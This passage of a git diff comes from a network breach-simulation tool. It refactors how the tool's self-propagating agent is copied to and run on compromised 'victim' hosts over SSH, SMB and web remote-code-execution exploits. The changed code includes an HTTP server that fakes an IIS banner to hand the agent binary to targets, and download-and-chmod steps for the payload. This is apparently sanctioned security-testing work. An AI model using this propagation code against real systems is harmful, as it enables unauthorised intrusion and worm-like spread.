self.telemetry_messenger.send_telemetry(
T1105Telem(
- status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
+ status,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ self.options["dropper_target_path_linux"],
)
)
if status == ScanStatus.SCANNED:
@@ -233,3 +213,13 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
+
+ def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
+ ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
+ self.telemetry_messenger.send_telemetry(
+ T1222Telem(
+ ScanStatus.USED,
+ "chmod 0700 %s" % self.options["dropper_target_path_linux"],
+ self.host,
+ )
+ )
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index c0f467bd4..d0af82304 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -11,38 +11,13 @@ def try_get_target_monkey(host):
def get_target_monkey(host):
- import platform
- import sys
-
- from infection_monkey.control import ControlClient
-
- if host.monkey_exe:
- return host.monkey_exe
-
- if not host.os.get("type"):
- return None
-
- monkey_path = ControlClient.download_monkey_exe(host)
-
- if host.os.get("machine") and monkey_path:
- host.monkey_exe = monkey_path
-
- if not monkey_path:
- if host.os.get("type") == platform.system().lower():
- # if exe not found, and we have the same arch or arch is unknown and we are 32bit,
- # use our exe
- if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
- "machine", ""
- ).lower() == platform.machine().lower():
- monkey_path = sys.executable
-
- return monkey_path
+ raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
def get_target_monkey_by_os(is_windows, is_32bit):
- from infection_monkey.control import ControlClient
-
- return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
+ raise NotImplementedError(
+ "get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
+ )
def get_monkey_depth():
@@ -54,7 +29,7 @@ def get_monkey_depth():
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
- :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
@@ -65,8 +40,6 @@ def get_monkey_dest_path(url_to_monkey):
try:
if "linux" in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
- elif "windows-32" in url_to_monkey:
- return WormConfiguration.dropper_target_path_win_32
elif "windows-64" in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 25aca3321..467539180 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
-from infection_monkey.transport import HTTPServer, LockedHTTPServer
+from infection_monkey.transport import LockedHTTPServer
logger = logging.getLogger(__name__)
class HTTPTools(object):
- @staticmethod
- def create_transfer(host, src_path, local_ip=None, local_port=None):
- if not local_port:
- local_port = get_free_tcp_port()
-
- if not local_ip:
- local_ip = get_interface_to_target(host.ip_addr)
-
- if not firewall.listen_allowed():
- return None, None
-
- httpd = HTTPServer(local_ip, local_port, src_path)
- httpd.daemon = True
- httpd.start()
-
- return (
- "http://%s:%s/%s"
- % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
- httpd,
- )
-
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(
@@ -49,7 +28,9 @@ class HTTPTools(object):
return http_path, http_thread
@staticmethod
- def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ def create_locked_transfer(
+ host, dropper_target_path, agent_repository, local_ip=None, local_port=None
+ ):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
@@ -71,12 +52,13 @@ class HTTPTools(object):
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
- httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+ httpd = LockedHTTPServer(
+ local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
+ )
httpd.start()
lock.acquire()
return (
- "http://%s:%s/%s"
- % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
+ "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
httpd,
)
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index 362c1b083..84e1b7e8b 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMB_DIALECT, SMBConnection
-import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.config import Configuration
from infection_monkey.network.tools import get_interface_to_target
@@ -20,7 +19,8 @@ class SmbTools(object):
def copy_file(
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
):
- assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
+ # monkeyfs has been removed. Fix this in issue #1741
+ # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
smb, dialect = SmbTools.new_smb_connection(
host, username, password, lm_hash, ntlm_hash, timeout
@@ -138,10 +138,13 @@ class SmbTools(object):
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
try:
+ # monkeyfs has been removed. Fix this in issue #1741
+ """
with monkeyfs.open(src_path, "rb") as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
+ """
file_uploaded = True
T1105Telem(
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 312ac3b57..4473a24f5 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -4,7 +4,6 @@ from posixpath import join
from typing import List, Tuple
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
-from infection_monkey.exploit.consts import WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.http_tools import HTTPTools
@@ -35,7 +34,7 @@ class WebRCE(HostExploiter):
def __init__(self, monkey_target_paths=None):
"""
:param monkey_target_paths: Where to upload the monkey at the target host system.
- Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
+ Dict in format {'linux': '/tmp/monkey.sh', 'win64':... }
"""
super(WebRCE, self).__init__()
self.monkey_target_paths = monkey_target_paths
@@ -117,7 +116,6 @@ class WebRCE(HostExploiter):
if not self.monkey_target_paths:
self.monkey_target_paths = {
"linux": self.options["dropper_target_path_linux"],
- "win32": self.options["dropper_target_path_win_32"],
"win64": self.options["dropper_target_path_win_64"],
}
self.HTTP = [str(port) for port in self.options["http_ports"]]
@@ -276,7 +274,7 @@ class WebRCE(HostExploiter):
"monkey_path": dest_path,
"http_path": http_path,
}
- self.telemetry_messenger.send_telemtry(
+ self.telemetry_messenger.send_telemetry(
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
)
resp = self.exploit(url, backup_command)
@@ -294,11 +292,12 @@ class WebRCE(HostExploiter):
if not self.host.os["type"]:
logger.error("Unknown target's os type. Skipping.")
return False
- paths = self.get_monkey_paths()
- if not paths:
- return False
+
+ dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
# Create server for http download and wait for it's startup.
- http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
+ http_path, http_thread = HTTPTools.create_locked_transfer(
+ self.host, dropper_target_path, self.agent_repository
+ )
if not http_path:
logger.debug("Exploiter failed, http transfer creation failed.")
return False
@@ -306,10 +305,10 @@ class WebRCE(HostExploiter):
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
- command = self.get_command(paths["dest_path"], http_path, commands)
+ command = self.get_command(dropper_target_path, http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
- resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
+ resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@@ -318,7 +317,7 @@ class WebRCE(HostExploiter):
if resp is False:
return resp
else:
- return {"response": resp, "path": paths["dest_path"]}
+ return {"response": resp, "path": dropper_target_path}
def change_permissions(self, url, path, command=None):
"""
@@ -336,10 +335,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {"monkey_path": path}
try:
resp = self.exploit(url, command)
- self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
+ self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host))
except Exception as e:
logger.error("Something went wrong while trying to change permission: %s" % e)
- self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
+ self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host))
return False
# If exploiter returns True / False
if isinstance(resp, bool):
@@ -412,7 +411,7 @@ class WebRCE(HostExploiter):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz :
- http://localserver:9999/monkey/windows-32.exe
+ http://localserver:9999/monkey/windows-64.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
@@ -423,9 +422,7 @@ class WebRCE(HostExploiter):
try:
if "linux" in url_to_monkey:
return self.monkey_target_paths["linux"]
- elif "windows-32" in url_to_monkey:
- return self.monkey_target_paths["win32"]
- elif "windows-64" in url_to_monkey:
+ elif "windows" in url_to_monkey:
return self.monkey_target_paths["win64"]
else:
logger.error(
@@ -435,9 +432,8 @@ class WebRCE(HostExploiter):
return False
except KeyError:
logger.error(
- 'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
- "initialize "
- "custom dict of monkey's destination paths"
+ 'Unknown key was found. Please use "linux" and "win64" keys to '
+ "initialize custom dict of monkey's destination paths"
)
return False
@@ -470,13 +466,7 @@ class WebRCE(HostExploiter):
if self.host.os["type"] == "linux":
return self.options["dropper_target_path_linux"]
if self.host.os["type"] == "windows":
- try:
- # remove now or when 32-bit binaries are removed?
- if self.host.os["machine"] == WIN_ARCH_64:
- return self.options["dropper_target_path_win_64"]
- except KeyError:
- logger.debug("Target's machine type was not set. Using win-32 dropper path.")
- return self.options["dropper_target_path_win_32"]
+ return self.options["dropper_target_path_win_64"]
def get_target_url(self):
"""
diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py
index 3bbd1dfb8..95cc85810 100644
--- a/monkey/infection_monkey/model/host.py
+++ b/monkey/infection_monkey/model/host.py
@@ -8,7 +8,6 @@ class VictimHost(object):
self.os = {}
self.services = {}
self.icmp = False
- self.monkey_exe = None
self.default_tunnel = None
self.default_server = None
@@ -42,7 +41,6 @@ class VictimHost(object):
for k, v in list(self.services.items()):
victim += "%s-%s " % (k, v)
victim += "] ICMP: %s " % (self.icmp)
- victim += "target monkey: %s" % self.monkey_exe
return victim
def set_island_address(self, ip: str, port: Optional[str]):
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 17dc5bc54..eaa6e0d90 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector,
SSHCredentialCollector,
)
-from infection_monkey.exploit import ExploiterWrapper
+from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
@@ -46,7 +46,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
-from infection_monkey.windows_upgrader import WindowsUpgrader
logger = logging.getLogger(__name__)
@@ -101,11 +100,6 @@ class InfectionMonkey:
logger.info("The Monkey Island has instructed this agent to stop")
return
- if InfectionMonkey._is_upgrade_to_64_needed():
- self._upgrade_to_64()
- logger.info("32 bit Agent can't run on 64 bit system.")
- return
-
self._setup()
self._master.start()
@@ -147,16 +141,6 @@ class InfectionMonkey:
return False
- @staticmethod
- def _is_upgrade_to_64_needed():
- return WindowsUpgrader.should_upgrade()
-
- def _upgrade_to_64(self):
- self._singleton.unlock()
- logger.info("32bit monkey running on 64bit Windows. Upgrading.")
- WindowsUpgrader.upgrade(self._opts)
- logger.info("Finished upgrading from 32bit to 64bit.")
-
def _setup(self):
logger.debug("Starting the setup phase.")
@@ -216,7 +200,10 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
- exploit_wrapper = ExploiterWrapper(self.telemetry_messenger)
+ agent_repoitory = CachingAgentRepository(
+ f"https://{self._default_server}", ControlClient.proxies
+ )
+ exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory)
puppet.load_plugin(
"SSHExploiter",
@@ -252,10 +239,6 @@ class InfectionMonkey:
logger.info("Monkey cleanup started")
self._wait_for_exploited_machine_connection()
try:
- if self._is_upgrade_to_64_needed():
- logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)")
- return
-
if self._master:
self._master.cleanup()
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index dc9a90868..d79345d0a 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -43,10 +43,6 @@ def is_windows():
return platform.system().find("Windows") >= 0
-def is_32_bit():
- return sys.maxsize <= 2 ** 32
-
-
def get_bin_folder():
return os.path.join('.', 'bin')
@@ -73,15 +69,10 @@ def get_hidden_imports():
def get_monkey_filename():
name = 'monkey-'
if is_windows():
- name = name + "windows-"
+ name = name + "windows-64.exe"
else:
- name = name + "linux-"
- if is_32_bit():
- name = name + "32"
- else:
- name = name + "64"
- if is_windows():
- name = name + ".exe"
+ name = name + "linux-64"
+
return name
diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
deleted file mode 100644
index e056512d2..000000000
--- a/monkey/infection_monkey/monkeyfs.py
+++ /dev/null
@@ -1,58 +0,0 @@
-import os
-from io import BytesIO
-
-MONKEYFS_PREFIX = "monkeyfs://"
-
-open_orig = open
-
-
-class VirtualFile(BytesIO):
- _vfs = {} # virtual File-System
-
- def __init__(self, name, mode="r", buffering=None):
- if not name.startswith(MONKEYFS_PREFIX):
- name = MONKEYFS_PREFIX + name
- self.name = name
- if name in VirtualFile._vfs:
- super(VirtualFile, self).__init__(self._vfs[name])
- else:
- super(VirtualFile, self).__init__()
-
- def flush(self):
- super(VirtualFile, self).flush()
- VirtualFile._vfs[self.name] = self.getvalue()
-
- @staticmethod
- def getsize(path):
- return len(VirtualFile._vfs[path])
-
- @staticmethod
- def isfile(path):
- return path in VirtualFile._vfs
-
-
-def getsize(path):
- if path.startswith(MONKEYFS_PREFIX):
- return VirtualFile.getsize(path)
- else:
- return os.stat(path).st_size
-
-
-def isfile(path):
- if path.startswith(MONKEYFS_PREFIX):
- return VirtualFile.isfile(path)
- else:
- return os.path.isfile(path)
-
-
-def virtual_path(name):
- return "%s%s" % (MONKEYFS_PREFIX, name)
-
-
-# noinspection PyShadowingBuiltins
-def open(name, mode="r", buffering=-1):
- # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
- if name.startswith(MONKEYFS_PREFIX):
- return VirtualFile(name, mode, buffering)
- else:
- return open_orig(name, mode=mode, buffering=buffering)
diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md
index 45488404f..8e4beb03e 100644
--- a/monkey/infection_monkey/readme.md
+++ b/monkey/infection_monkey/readme.md
@@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives.
1. To build the final exe:
- `cd monkey\infection_monkey`
- `build_windows.bat`
- - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
+
+ Output is placed under `dist\monkey64.exe`.
## Linux
@@ -51,7 +52,7 @@ Tested on Ubuntu 16.04.
- `chmod +x build_linux.sh`
- `pipenv run ./build_linux.sh`
- output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
+ Output is placed under `dist/monkey64`.
### Troubleshooting
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
index 0dcbd56c6..960bce311 100644
--- a/monkey/infection_monkey/transport/__init__.py
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -1,2 +1 @@
-from infection_monkey.transport.http import HTTPServer
from infection_monkey.transport.http import LockedHTTPServer
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index f8ca906b0..5afb5c2d8 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -1,5 +1,4 @@
import http.server
-import os.path
import select
import socket
import threading
@@ -7,7 +6,6 @@ import urllib
from logging import getLogger
from urllib.parse import urlsplit
-import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@@ -16,7 +14,8 @@ logger = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
- filename = ""
+ victim_os = ""
+ agent_repository = None
def version_string(self):
return "Microsoft-IIS/7.5."
@@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
total += chunk
start_range += chunk
- if f.tell() == monkeyfs.getsize(self.filename):
+ if f.tell() == len(f.getbuffer()):
if self.report_download(self.client_address):
self.close_connection = 1
@@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
+ if self.path != "/" + urllib.parse.quote(self.victim_os):
self.send_error(500, "")
return None, 0, 0
try:
- f = monkeyfs.open(self.filename, "rb")
+ f = self.agent_repository.get_agent_binary(self.victim_os)
except IOError:
self.send_error(404, "File not found")
return None, 0, 0
- size = monkeyfs.getsize(self.filename)
+ size = len(f.getbuffer())
start_range = 0
end_range = size
@@ -157,50 +156,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
)
-class HTTPServer(threading.Thread):
- def __init__(self, local_ip, local_port, filename, max_downloads=1):
- self._local_ip = local_ip
- self._local_port = local_port
- self._filename = filename
- self.max_downloads = max_downloads
- self.downloads = 0
- self._stopped = False
- threading.Thread.__init__(self)
-
- def run(self):
- class TempHandler(FileServHTTPRequestHandler):
- from common.utils.attack_utils import ScanStatus
- from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
-
- filename = self._filename
-
- @staticmethod
- def report_download(dest=None):
- logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1]))
- TempHandler.T1105Telem(
- TempHandler.ScanStatus.USED,
- get_interface_to_target(dest[0]),
- dest[0],
- self._filename,
- ).send()
- self.downloads += 1
- if not self.downloads < self.max_downloads:
- return True
- return False
-
- httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
- httpd.timeout = 0.5 # this is irrelevant?
-
- while not self._stopped and self.downloads < self.max_downloads:
- httpd.handle_request()
-
- self._stopped = True
-
- def stop(self, timeout=60):
- self._stopped = True
- self.join(timeout)
-
-
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
@@ -213,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
# Seconds to wait until server stops
STOP_TIMEOUT = 5
- def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
+ def __init__(
+ self,
+ local_ip,
+ local_port,
+ victim_os,
+ dropper_target_path,
+ agent_repository,
+ lock,
+ max_downloads=1,
+ ):
self._local_ip = local_ip
self._local_port = local_port
- self._filename = filename
+ self._victim_os = victim_os
+ self._dropper_target_path = dropper_target_path
+ self._agent_repository = agent_repository
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
@@ -229,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
- filename = self._filename
+ victim_os = self._victim_os
+ agent_repository = self._agent_repository
@staticmethod
def report_download(dest=None):
@@ -238,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
- self._filename,
+ self._dropper_target_path,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads:
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
index 2ead5a837..195e54fd3 100644
--- a/monkey/infection_monkey/utils/environment.py
+++ b/monkey/infection_monkey/utils/environment.py
@@ -1,18 +1,5 @@
-import os
-import struct
import sys
-def is_64bit_windows_os():
- """
- Checks for 64 bit Windows OS using environment variables.
- """
- return "PROGRAMFILES(X86)" in os.environ
-
-
-def is_64bit_python():
- return struct.calcsize("P") == 8
-
-
def is_windows_os():
return sys.platform.startswith("win")
diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py
deleted file mode 100644
index c72f970d9..000000000
--- a/monkey/infection_monkey/windows_upgrader.py
+++ /dev/null
@@ -1,69 +0,0 @@
-import logging
-import shutil
-import subprocess
-import sys
-import time
-
-import infection_monkey.monkeyfs as monkeyfs
-from infection_monkey.config import WormConfiguration
-from infection_monkey.control import ControlClient
-from infection_monkey.utils.commands import (
- build_monkey_commandline_explicitly,
- get_monkey_commandline_windows,
-)
-from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os
-
-logger = logging.getLogger(__name__)
-
-if "win32" == sys.platform:
- from win32process import DETACHED_PROCESS
-else:
- DETACHED_PROCESS = 0
-
-
-class WindowsUpgrader(object):
- __UPGRADE_WAIT_TIME__ = 3
-
- @staticmethod
- def should_upgrade():
- return is_windows_os() and is_64bit_windows_os() and not is_64bit_python()
-
- @staticmethod
- def upgrade(opts):
- try:
- monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
- with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
- with open(
- WormConfiguration.dropper_target_path_win_64, "wb"
- ) as written_monkey_file:
- shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
- except (IOError, AttributeError) as e:
- logger.error("Failed to download the Monkey to the target path: %s." % e)
- return
-
- monkey_options = build_monkey_commandline_explicitly(
- opts.parent, opts.tunnel, opts.server, opts.depth
- )
-
- monkey_cmdline = get_monkey_commandline_windows(
- WormConfiguration.dropper_target_path_win_64, monkey_options
- )
-
- monkey_process = subprocess.Popen(
- monkey_cmdline,
- stdin=None,
- stdout=None,
- stderr=None,
- close_fds=True,
- creationflags=DETACHED_PROCESS,
- )
-
- logger.info(
- "Executed 64bit monkey process (PID=%d) with command line: %s",
- monkey_process.pid,
- " ".join(monkey_cmdline),
- )
-
- time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
- if monkey_process.poll() is not None:
- logger.error("Seems like monkey died too soon")
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index d7a8227fb..863a88909 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -134,8 +134,7 @@ def init_api_resources(api):
api.add_resource(ConfigurationImport, "/api/configuration/import")
api.add_resource(
MonkeyDownload,
- "/api/monkey/download",
- "/api/monkey/download/",
+ "/api/monkey/download/",
)
api.add_resource(NetMap, "/api/netmap")
api.add_resource(Edge, "/api/netmap/edge")
diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py
index 24e03280c..99943aedb 100644
--- a/monkey/monkey_island/cc/resources/monkey_download.py
+++ b/monkey/monkey_island/cc/resources/monkey_download.py
@@ -1,101 +1,34 @@
import hashlib
-import json
import logging
-import os
+from pathlib import Path
import flask_restful
-from flask import request, send_from_directory
+from flask import make_response, send_from_directory
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
logger = logging.getLogger(__name__)
-MONKEY_DOWNLOADS = [
- {
- "type": "linux",
- "machine": "x86_64",
- "filename": "monkey-linux-64",
- },
- {
- "type": "linux",
- "machine": "i686",
- "filename": "monkey-linux-32",
- },
- {
- "type": "linux",
- "machine": "i386",
- "filename": "monkey-linux-32",
- },
- {
- "type": "linux",
- "filename": "monkey-linux-64",
- },
- {
- "type": "windows",
- "machine": "x86",
- "filename": "monkey-windows-32.exe",
- },
- {
- "type": "windows",
- "machine": "amd64",
- "filename": "monkey-windows-64.exe",
- },
- {
- "type": "windows",
- "machine": "64",
- "filename": "monkey-windows-64.exe",
- },
- {
- "type": "windows",
- "machine": "32",
- "filename": "monkey-windows-32.exe",
- },
- {
- "type": "windows",
- "filename": "monkey-windows-32.exe",
- },
-]
+AGENTS = {
+ "linux": "monkey-linux-64",
+ "windows": "monkey-windows-64.exe",
+}
-def get_monkey_executable(host_os, machine):
- for download in MONKEY_DOWNLOADS:
- if host_os == download.get("type") and machine == download.get("machine"):
- logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine))
- return download
- logger.warning(
- "No monkey executables could be found for the host os or machine or both: host_os: {"
- "0}, machine: {1}".format(host_os, machine)
- )
- return None
+class UnsupportedOSError(Exception):
+ pass
class MonkeyDownload(flask_restful.Resource):
# Used by monkey. can't secure.
- def get(self, path):
- return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
-
- # Used by monkey. can't secure.
- def post(self):
- host_json = json.loads(request.data)
- host_os = host_json.get("os")
- if host_os:
- result = get_monkey_executable(host_os.get("type"), host_os.get("machine"))
-
- if result:
- # change resulting from new base path
- executable_filename = result["filename"]
- real_path = MonkeyDownload.get_executable_full_path(executable_filename)
- if os.path.isfile(real_path):
- result["size"] = os.path.getsize(real_path)
- return result
-
- return {}
-
- @staticmethod
- def get_executable_full_path(executable_filename):
- real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
- return real_path
+ def get(self, host_os):
+ try:
+ path = get_agent_executable_path(host_os)
+ return send_from_directory(path.parent, path.name)
+ except UnsupportedOSError as ex:
+ logger.error(ex)
+ return make_response({"error": str(ex)}, 404)
@staticmethod
def log_executable_hashes():
@@ -103,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource):
Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
version you have etc.).
"""
- filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
+ filenames = set(AGENTS.values())
for filename in filenames:
- filepath = MonkeyDownload.get_executable_full_path(filename)
- if os.path.isfile(filepath):
+ filepath = get_executable_full_path(filename)
+ if filepath.is_file():
with open(filepath, "rb") as monkey_exec_file:
file_contents = monkey_exec_file.read()
- logger.debug(
- "{} hashes:\nSHA-256 {}".format(
- filename, hashlib.sha256(file_contents).hexdigest()
- )
- )
+ file_sha256_hash = hashlib.sha256(file_contents).hexdigest()
+ logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}")
else:
- logger.debug("No monkey executable for {}.".format(filepath))
+ logger.debug(f"No monkey executable for {filepath}")
+
+
+def get_agent_executable_path(host_os: str) -> Path:
+ try:
+ agent_path = get_executable_full_path(AGENTS[host_os])
+ logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
+
+ return agent_path
+ except KeyError:
+ logger.warning(f"No monkey executables could be found for the host os: {host_os}")
+ raise UnsupportedOSError(
+ f'No Agents are available for unsupported operating system "{host_os}"'
+ )
+
+
+def get_executable_full_path(executable_filename: str) -> Path:
+ return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 0fc3af855..94c4e96ec 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -606,7 +606,6 @@ class ConfigService:
for dropper_target in [
"dropper_target_path_linux",
- "dropper_target_path_win_32",
"dropper_target_path_win_64",
]:
exploit_options[dropper_target] = config.get(dropper_target, "")
diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py
index c9325ab0e..d25856b39 100644
--- a/monkey/monkey_island/cc/services/config_schema/internal.py
+++ b/monkey/monkey_island/cc/services/config_schema/internal.py
@@ -174,14 +174,6 @@ INTERNAL = {
"description": "Determines where should the dropper place the monkey on a "
"Linux machine",
},
- "dropper_target_path_win_32": {
- "title": "Dropper target path on Windows (32bit)",
- "type": "string",
